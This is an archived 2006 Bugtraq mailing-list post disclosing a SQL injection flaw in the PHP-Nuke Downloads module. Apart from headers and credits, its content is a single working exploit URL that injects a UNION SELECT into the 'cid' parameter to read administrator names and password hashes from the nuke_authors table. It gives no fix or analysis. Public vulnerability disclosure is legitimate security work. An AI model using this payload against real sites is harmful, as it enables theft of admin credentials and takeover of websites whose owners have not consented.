PHP-Nuke Download Module Remote SQL Injection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: PHP-Nuke Download Module Remote SQL Injection
From: BuNy-m@xxxxxxxxxxx
Date: 9 Jun 2006 07:38:24 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

==================================
Fund By:BuNy-m
Special for Site:www.alshmokh.com
E-mail:BuNy-m@xxxxxxxxxxx
==================================

Example:
/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20

Prev by Date: TinyMuw v1.0 - XSS
Next by Date: Contensis CMS XSS vunerability
Previous by thread: TinyMuw v1.0 - XSS
Next by thread: Contensis CMS XSS vunerability
Index(es):
- Date
- Thread